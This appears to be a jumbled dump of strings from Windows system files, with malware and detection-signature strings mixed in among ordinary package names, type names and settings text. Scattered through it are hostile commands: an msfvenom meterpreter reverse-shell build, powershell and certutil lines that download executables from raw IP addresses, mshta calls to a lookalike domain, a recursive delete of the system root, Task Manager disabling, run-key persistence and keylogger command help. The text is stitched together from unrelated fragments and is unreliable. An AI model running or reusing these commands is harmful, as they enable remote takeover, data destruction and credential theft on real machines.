.?AU?$__abi_FunctorCapture@V<lambda_a3f428855ccfa3ea1d5b3959d4b3993f>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
.?AU?$IVectorView@PE$AAVString@Platform@@@Collections@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@W4SVUpgradeEligibilityState@ContentManagement@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@W4SVUpgradeEligibilityState@ContentManagement@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$VectorChangedEventHandler@PE$AAVString@Platform@@@Collections@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AV?$VectorChangedEventHandler@PE$AAVString@Platform@@@Collections@Foundation@Windows@@
.?AU?$IIterable@PE$AAVString@Platform@@@Collections@Foundation@Windows@@
.?AU?$IObservableVector@PE$AAVString@Platform@@@Collections@Foundation@Windows@@
.?AU?$IVector@PE$AAVString@Platform@@@Collections@Foundation@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_a612bcf14326c574c46f12d4dcf5b062>@@XPE$AAU?$IAsyncOperation@PE$AAVWebAccountProvider@Credentials@Security@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAVWebAccountProvider@Credentials@Security@Windows@@@details@Concurrency@@@std@@
WindowsMenu
Windows.Launch
Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose
encodeURIComponentForWindows
\windows\currentversion\run"/v"
microsoft-windows-kernel-power-events.dll
s\system32\mswc.ime
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
Microsoft.Windows.Midi2.VirtualMidiTransport
.?AU?$__abi_FunctorCapture@V<lambda_6921627cb267d78bd92f6c162ef07abf>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
COMPUTERNAME=WINDOWS11
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\AC
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShe
Windows
WINDOWS11
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Storage
Windows.Storage.Provider
Windows.UI
Windows.UI.ViewManagement
Windows.Devices
Windows.Devices.Enumeration
Windows.Foundation.Collections
Windows.Storage.Search
Windows.Storage.Pickers.Provider
Windows.Devices.Printers.Extensions
Windows.UI.Notifications
Windows.Media
Windows.Media.SpeechRecognition
Windows.Security
Windows.Security.Authentication.Web.Provider
Windows.Security.Authentication.Web
Windows.Storage.Streams
Windows.ApplicationModel.Resources
Windows.ApplicationModel.Resources.Management
Windows.ApplicationModel.Search.Core
Windows.ApplicationModel.Search
Windows.ApplicationModel.SocialInfo
Windows.ApplicationModel.SocialInfo.Provider
Windows.ApplicationModel.Store
Windows.ApplicationModel.Store.LicenseManagement
Windows.ApplicationModel.Store.Preview
qcE,'meterpreter','''msfvenom-pwindows/meterpreter/reverse_tcplhost="{lhost}"lport=4242-fexe>shell.exe''')
Windows.Networking.Vpn.dll
Microsoft-Windows-Kernel-Package-IsolatedUserMode-Common-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
c6^windows.updateTask
c6^windows.backgroundTasks
emodel`hplatformgWindowsoplatformVersion`ewow64
;FW("c:\\windows\\
Microsoft.Windows.Wil.FeatureLogging
?[\windows\system32\rundll32.exe
j-windowstylehidden-
add-type-assemblynamesystem.windows.forms;[
Microsoft.Windows.Widgets.Feeds.Providers
Microsoft.Windows.Widgets.Notifications
Microsoft.Windows.Widgets.Providers
Windows.Foundation.Metadata
s\system32\cmd]
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
3s*c:\windows\7
s\system32\cmd.exe/cstart.."
%C:\ProgramData\Microsoft\Windows\AppRepository\State
/c del %systemroot% /f /s /qogo pososi huyreg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d 1 /freg add hkcusoftwaremicrosoftwindowscurrentversionpoliciessystem /v disabletaskmgr /t reg_dword /d 1 /ftest\imlox\imlox\release\imlox.pdbschtasks /create /tn "windowsupdatev1" /tr "c:\myapp.exe" /sc onlogonopen "c:\temp\some.mp3" type mpegvideo alias errormsgopen "c:\temp\some.mp3" type mpegvideo alias justsndplay errormsg repeatplay justsnd repeatsome.png
    name="Microsoft.Windows.onecoreuapshell.thumbcache"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
%\windows\currentversion\url\defaultprefix
WindowsAppRuntime.DeploymentExtensions.OneCore.dll
globalAuthenticationCoreSecurityWebWebTokenRequestWindowsapplyctor
globalAuthenticationCoreSecurityWebWebTokenRequestWindowsapplyctor
hkey_local_machine\software\microsoft\windows\currentversion\explorer\browser helper objects%s,dllunregisterserverslive.exeflive.dll
Windows.ime
KTEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
Tbsi_Create_Windows_Key
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\base.h
System.Windows.Forms.UnsafeNativeMethods.IGridItemProvider.ContainingGrid
System.Windows.Forms.UnsafeNativeMethods.IGridItemProvider.get_ContainingGrid
windowsMediaPlayer_Clsid
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.get_accChild
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider2.RangeFromChild
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider.RangeFromChild
System.Windows.Forms.UnsafeNativeMethods.IAccessibleEx.GetObjectForChild
\microsoft\windows\recent
EnumThreadWindows
GetProcessWindowStation
WindowsBuiltInRole
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-WMPNetworkSharingService-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|!
Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|icrosoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-CoreSystem-DISM-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
2setlocalenableextensionssetlocalenabledelayedexpansioncd%systemroot%\system32set
ifilesystem3.fileexists("c:\windows\microsoft.net\framework\v
-windowstylehidden-argumentlist'-w','hidden','-ep','bypass','-nop','-command','
globalInMemoryRandomAccessStreamStorageStreamsWindowsapplyctor
Microsoft-Windows-Notepad-System-FoD-Package-Wrapper~31bf3856ad364e35~amd64~en-US~10.0.26100.1742
Microsoft-Windows-Notepad-System-FoD-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742
windows\currentversion\run\-force@
\windows
\programdata\microsoft\windows\wer\
\windows\logs\pbr\
\windows\cluster\clussvc.exe
:\windows\system32\grouppolicy\
ukeylog_mod_x64.modinstalldatemachineguid\windows nt\currentversion\microsoft\cryptographyTrojan:Win64/Hesperbot.A
windowSmallIconState
windowSmall2IconState
hmicrosoft windows protocol services host.exem
microsoft windows protocol monitor.exem
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@UIAsyncActionCompletedHandler@Foundation@Windows@ABI@@VFtmBase@23@@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@UIAsyncActionCompletedHandler@Foundation@Windows@ABI@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@UIAsyncActionCompletedHandler@Foundation@Windows@ABI@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AVCompletionDelegate@?1???$WaitForCompletion@PEAUIAsyncAction@Foundation@Windows@ABI@@@details@wil@@YAJPEAUIAsyncAction@Foundation@Windows@ABI@@W4tagCOWAIT_FLAGS@@KPEA_N@Z@
.?AU?$produce_base@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UDialogCheckboxViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UWaitChainViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UDialogCheckboxViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
;AAA_SettingsPageFlights&fWindows Insider Program1n
Clear environment data captured by Windows Mixed Reality>l
Pen & Windows Ink settings;X
+'\windowsdG
wow64_microsoft-windows-w..for-management-core_31bf3856ad364e35_none_200dd24dd3ec0f6e
wow64_microsoft-windows-w..geacquisition-winrt_31bf3856ad364e35_none_369155eada4ecedd
wow64_microsoft-windows-w..ice.backgroundproxy_31bf3856ad364e35_none_57491b0a8956fbf4
wow64_microsoft-windows-w..ices-for-management_31bf3856ad364e35_none_19bb20aeabc1fd32
wow64_microsoft-windows-w..ient-printuisupport_31bf3856ad364e35_none_9dac48415accc823
wow64_microsoft-windows-w..ig-registrar-wizard_31bf3856ad364e35_none_276366e5ae53cd68
wow64_microsoft-windows-w..ileserver.resources_31bf3856ad364e35_en-us_1f4912e43c27ae1c
wow64_microsoft-windows-w..indowsuiinputinking_31bf3856ad364e35_none_db648ba5b176de99
wow64_microsoft-windows-w..ion-twaincomponents_31bf3856ad364e35_none_b784491adce7857d
Windows_Forms_Books.Form.resourcesW
windows.sharedFonts
ad^windows.sharedFonts
cf^windows.firewallRules
cf^windows.publisherCacheFolders
abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-GraceTimerUniqueness" attributes="override-only">EditionId</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-ValidityTimerUniqueness" attributes="override-only">EditionId</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{e4db50ea-bda1-4566-b047-0ca50abc6f07}"></sl:productIdRange></r:allConditions></r:grant><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId><sl:guid>{55c92734-d682-4d71-983e-d6ec3f16059f}</sl:guid></sl:appId><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>501</sl:priority><sl:policyInt name="Security-SPP-Reserved-NotificationGrantConsumed" attributes="override-only">1</sl:policyInt></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{e4db50ea-bda1-4566-b047-0ca50abc6f07}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAADAAAA</sl:data></sl:externalValidator><sl:floatingPeriod xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:duration>P0D</sl:duration><sl:type>msft:sl/grace-period</sl:type></sl:floatingPeriod></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>msEs3CrupFf9FyTXy+l0jk/TNgQ=</DigestValue></Reference></SignedInfo><SignatureValue>g0jhB3g1x5SKdenWHw8SUWok5MnUpy0dfM9IN5707iW1JTrWRw7Xq6tF5oyXFQv0vT+fr8U36hoFVok+LVqWHoSmR4qI8nAcPPPvGFPlD6YOtY9g6FRFN6ju1limCuZmdIoPSf6n4X60+nAmswWFpAXDC8AT33+9z8V2Oz0A6ywesYew/IZOIXlRe4xfqEWnSKBRNoua/ErjR9b8p7GE1fx9aJlovc0dyPzws7MvDYqx67rHXXpWAsistCredentialForConnectedUser
.cmdc:\windows\system32\zipfldr.dll
\appdata\local\packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\localstate\files\
\windows\start menu\programs\startup\
.?AU?$__abi_FunctorCapture@V<lambda_d7b119cfe79bb05ea19e8ddbe6cf08bb>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
\application data\windowsupdate
\appdata\roaming\windowsupdate
Windows"
!C:\WINDOWS\svchost.
WindowsBinary
\windowsapps\
m/windows
m/windows
:software\microsoft\windows\currentversion\runservicesonce
c:\windows\system32\windowspowershell\v1.0\powershell.exeinvoke-webrequest"http://95.164.90.189/
Microsoft.WindowsSoundRecorder_1.1.47.0_neutral_split.scale-125_8wekyb3d8bbw"
Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbw
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
7\System32\RegSrvIn.exeKill360 ProcessFind 360 Process!#ALF:HSTR:TrojanSpy:MSIL/KeyLogger.BAE!bit
OFTWARE\Policies\Microsoft\Windows 
copy /y %windir%\system32\certutil.exe %temp%\ct.exect -urlcache -split -f http://
Windows Defender Security&
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Windows\CurrentVersion\Ext\Settings\%s!NewInstallPromptCount
Windows\CurrentVersion\Explorer\TravelLog!MaxScreenshotCount
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
eric:microsoft_windows_shell_zipfolder:filename='+
\cmd.exe/cstart/b%systemroot%\system32\mshtahttps://www.googlesheetpage.org/bsqphsxgstenehz5y+pzcpjr/nbswgwjjhkji/pvaqe=
\cmd.exe/cstart/b%systemroot%\system32\mshtahttps://www.googlesheetpage.org/yqwm49f1azxtd7yf09k9hjonmua+0m7jbq0u6p5/pua=
u-windowstyle\x20hidden\x20(new-object\x20system.net.webclient).downloadfile(\x27http://193.142.59.123/gucurza.exe\x27,\x27c:system.exe\x27)
	c:\windows
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
1/0/_dk_https://bing.com https://bing.com https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
Microsoft.WindowsStore_8wekyb3d8bbwe!App
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreDesktopExtension
ms-windows-store
ms-windows-store-deskext
Microsoft.WindowsStore_8wekyb3d8bbwe
Microsoft.WindowsStore_8wekyb3d8bbwe!App
Windows
ir%\system32\drivers\etc\host
HYnew-object-comobject'windowsinstaller.installer');
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/PromptOnSecureDesktop
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/ScForceOption
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/ShutdownWithoutLogon
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/UndockWithoutLogon
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/ValidateAdminCodeSignatures
MACHINE/Software/Policies/Microsoft/Windows NT/DCOM/MachineAccessRestriction
MACHINE/Software/Policies/Microsoft/Windows NT/DCOM/MachineLaunchRestriction
MACHINE/Software/Policies/Microsoft/Windows/Safer/CodeIdentifiers/AuthenticodeEnabled
           targetNamespace="http://schemas.microsoft.com/appx/manifest/mediacodec/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/mediacodec/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/printsupport/windows10/2"
           xmlns="http://schemas.microsoft.com/appx/manifest/printsupport/windows10/2"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10 
software\microsoft\windows\currentversion\run
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
Assets/contrast-black/WindowsSecurityAppList.scale-200_contrast-black.pngPK
Assets/contrast-black/WindowsSecurityAppList.scale-150_contrast-black.pngPK
Assets/WindowsSecurityAppList.targetsize-256_altform-unplated.pngPK
Assets/contrast-black/WindowsSecurityLargeTile.scale-150_contrast-black.pngPK
Assets/contrast-black/WindowsSecurityLargeTile.scale-125_contrast-black.pngPK
Assets/contrast-black/WindowsSecurityLargeTile.scale-100_contrast-black.pngPK
Assets/contrast-black/WindowsSecurityAppList.targetsize-96_contrast-black.pngPK
Assets/contrast-white/WindowsSecurityLargeTile.scale-100_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityAppList.targetsize-96_altform-lightunplated_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityAppList.targetsize-48_altform-unplated_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityAppList.targetsize-48_altform-lightunplated_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityAppList.targetsize-256_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityAppList.targetsize-256_altform-unplated_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityAppList.targetsize-256_altform-lightunplated_contrast-white.pngPK
Assets/contrast-black/WindowsSecurityAppList.targetsize-96_altform-unplated_contrast-black.pngPK
Assets/contrast-black/WindowsSecurityAppList.targetsize-96_altform-lightunplated_contrast-black.pngPK
Assets/contrast-black/WindowsSecurityAppList.targetsize-48_contrast-black.pngPK
Assets/WindowsSecurityLargeTile.scale-150.pngPK
Assets/WindowsSecurityLargeTile.scale-125.pngPK
Assets/WindowsSecurityLargeTile.scale-100.pngPK
Assets/WindowsSecurityAppList.targetsize-96_altform-unplated.pngPK
Assets/WindowsSecurityAppList.targetsize-96_altform-lightunplated.pngPK
Assets/contrast-black/WindowsSecurityAppList.targetsize-48_altform-unplated_contrast-black.pngPK
Assets/WindowsSecurityAppList.targetsize-48_altform-unplated.pngPK
Assets/WindowsSecurityAppList.targetsize-48_altform-lightunplated.pngPK
Assets/WindowsSecurityAppList.targetsize-96.pngPK
Assets/contrast-black/WindowsSecurityAppList.targetsize-48_altform-lightunplated_contrast-black.pngPK
Assets/contrast-black/WindowsSecurityAppList.targetsize-256_contrast-black.pngPK
Assets/contrast-black/WindowsSecurityAppList.targetsize-256_altform-unplated_contrast-black.pngPK
Assets/contrast-black/WindowsSecurityAppList.targetsize-256_altform-lightunplated_contrast-black.pngPK
Assets/contrast-white/WindowsSecurityLargeTile.scale-125_contrast-white.pngPK
Assets/contrast-black/WindowsSecurityMedTile.scale-150_contrast-black.pngPK
Assets/WindowsSecurityLargeTile.scale-200.pngPK
DriverData=C:\Windows\System32\
MainWindowStatusBarPalette
28^Global.WindowsPersonaCard
Microsoft.Windows.AppResolverUX.
WindowsPackageManagerServ
windows M
%s?server=%s&gameid=%s&pass=%s&pin=%s&wupin=%s&role=%s&equ=%s&other=Build:%sForthgonerC:\Windows\\update.ini/post.asp
xxx.jpg\software\microsoft\windows nt\currentversion\winlogon#del [sciezka do pliku] - Usuwa plik#deldir [sciezka do folderu] - Usuwa katalog, wraz z wszystkimi plikami i podfolderami.#directory c:\program files\ - Pokazuje zawarto#kill - Zabija proces keyloggera.#put [mail,ftp] c:\plik.txt - Wysyla plik na ftp lub mail.VisualShock Keylogger 3Log z VisualShock Keylogger 3VisualShock Keylogger 3 pomoc:any przez VisualShock KeyloggerNagranie z mikrofonu pochodzi z VisualShock Keylogger 3AuthorizedApplicationsFirewallPolicy
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\QUERY!DefaultValue
shell\windowsuiimmersive\userinfo\lockscreen.cpp
ext-ms-win-ntuser-windowstation-l1-1-1.dll
